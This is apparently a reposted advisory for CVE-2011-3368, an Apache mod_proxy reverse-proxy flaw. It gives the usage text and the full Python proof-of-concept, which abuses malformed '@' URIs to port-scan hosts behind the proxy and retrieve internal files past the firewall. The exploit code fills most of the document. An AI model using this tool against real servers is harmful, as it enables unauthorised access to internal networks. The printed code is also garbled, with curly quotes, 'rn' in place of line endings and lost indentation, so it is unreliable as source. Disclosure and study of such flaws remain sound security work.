The information has been provided by Rodrigo Marcos.
A recent Apache vulnerability has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:
The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
SECFORCE
SECFORCE has developed a proof of concept for this vulnerability, available for download from our security tools section on our website. The script exploits the vulnerability and allows the user to retrieve arbitrary known files from the DMZ. The tool can also be used to perform a port scan of the web server using the Apache proxy functionality, and therefore bypassing any firewall.
The following output shows the usage of the tool:
python apache_proxy_scanner.py
CVE-2011-3368 proof of concept by Rodrigo Marcos
http://www.secforce.co.uk
usage():
python apache_scan.py [options]
[options]
-r: Remote Apache host
-p: Remote Apache port (default is 80)
-u: URL on the remote web server (default is /)
-d: Host in the DMZ (default is 127.0.0.1)
-e: Port in the DMZ (enables 'single port scan')
-g: GET request to the host in the DMZ (default is /)
-h: Help page
examples:
- Port scan of the remote host
python apache_scan.py -r www.example.com -u /img/test.gif
- Port scan of a host in the DMZ
python apache_scan.py -r www.example.com -u /img/test.gif
-d internalhost.local
- Retrieve a resource from a host in the DMZ
python apache_scan.py -r www.example.com -u /img/test.gif
-d internalhost.local -e 80 -g /accounts/index.html
The tool can be used to perform a portscan of the target host in the following way:
python apache_proxy_scanner.py -r <target> -u <uri>
The following screenshot shows the result of the command above:
Apache proxy port scan results
The script can be used to perform a bounce scan of a host in the DMZ or in the Internet:
python apache_proxy_scanner.py -r 192.168.85.161
-u /rewrite/test -d internalhost
python apache_proxy_scanner.py -r 192.168.85.161
-u /rewrite/test -d www.example.com
Apache_proxy_scanner will report open/filtered/closed ports in internal and external hosts.
You can find some more information about the tool here:
http://www.secforce.co.uk/blog/2011/10/cve-2011-3368-poc-apache-proxy-scanner/
CVE-2011-3368 Python Exploit
#!/usr/bin/env python
import socket
import string
import getopt, sys
known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]
def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):
get = ‘GET ‘ + url + ‘@’ + internal_target + ‘:’ + internal_port + ‘/’ + resource + ‘ HTTP/1.1rn’
get = get + ‘Host: ‘ + apache_target + ‘rnrn’
remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remoteserver.settimeout(3)
try:
remoteserver.connect((apache_target, int(apache_port)))
remoteserver.send(get)
return remoteserver.recv(4096)
except:
return ”
def get_banner(result):
return result[string.find(result, ‘rnrn’)+4:]
def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):
print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
for port in tested_ports:
port = str(port)
result = send_request(url, apache_target, apache_port, internal_target, port, resource)
if string.find(result,’HTTP/1.1 200′)!=-1 or
string.find(result,’HTTP/1.1 30′)!=-1 or
string.find(result,’HTTP/1.1 502′)!=-1:
print ‘- Open port: ‘ + port + ‘/TCP’
print get_banner(result)
elif len(result)==0:
print ‘- Filtered port: ‘ + port + ‘/TCP’
else:
print ‘- Closed port: ‘ + port + ‘/TCP’
def usage():
print
print ‘CVE-2011-3368 proof of concept by Rodrigo Marcos’
print ‘http://www.secforce.co.uk’
print
print ‘usage():’
print ‘python apache_scan.py [options]’
print
print ‘ [options]’
print ‘ -r: Remote Apache host’
print ‘ -p: Remote Apache port (default is 80)’
print ‘ -u: URL on the remote web server (default is /)’
print ‘ -d: Host in the DMZ (default is 127.0.0.1)’
print ‘ -e: Port in the DMZ (enables ‘single port scan’)’
print ‘ -g: GET request to the host in the DMZ (default is /)’
print ‘ -h: Help page’
print
print ‘examples:’
print ‘ – Port scan of the remote host’
print ‘ python apache_scan.py -r www.example.com -u /images/test.gif’
print ‘ – Port scan of a host in the DMZ’
print ‘ python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local’
print ‘ – Retrieve a resource from a host in the DMZ’
print ‘ python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html’
print
def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
print
print ‘CVE-2011-3368 proof of concept by Rodrigo Marcos’
print ‘http://www.secforce.co.uk’
print
print ‘ [+] Target: ‘ + apache_target
print ‘ [+] Target port: ‘ + apache_port
print ‘ [+] Internal host: ‘ + internal_target
print ‘ [+] Tested ports: ‘ + str(tested_ports)
print ‘ [+] Internal resource: ‘ + resource
print
def main():
global apache_target
global apache_port
global url
global internal_target
global internal_port
global resource
try:
opts, args = getopt.getopt(sys.argv[1:], ‘u:r:p:d:e:g:h’, [‘help’])
except getopt.GetoptError:
usage()
sys.exit(2)
try:
for o, a in opts:
if o in (‘-h’, ‘–help’):
usage()
sys.exit(2)
if o == ‘-u’:
url=a
if o == ‘-r’:
apache_target=a
if o == ‘-p’:
apache_port=a
if o == ‘-d’:
internal_target = a
if o == ‘-e’:
internal_port=a
if o == ‘-g’:
resource=a
except getopt.GetoptError:
usage()
sys.exit(2)
if apache_target == ”:
usage()
sys.exit(2)
url = ‘/’
apache_target = ”
apache_port = ’80’
internal_target = ‘127.0.0.1’
internal_port = ”
resource = ‘/’
main()
if internal_port!=”:
tested_ports = [internal_port]
else:
tested_ports = known_ports
scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)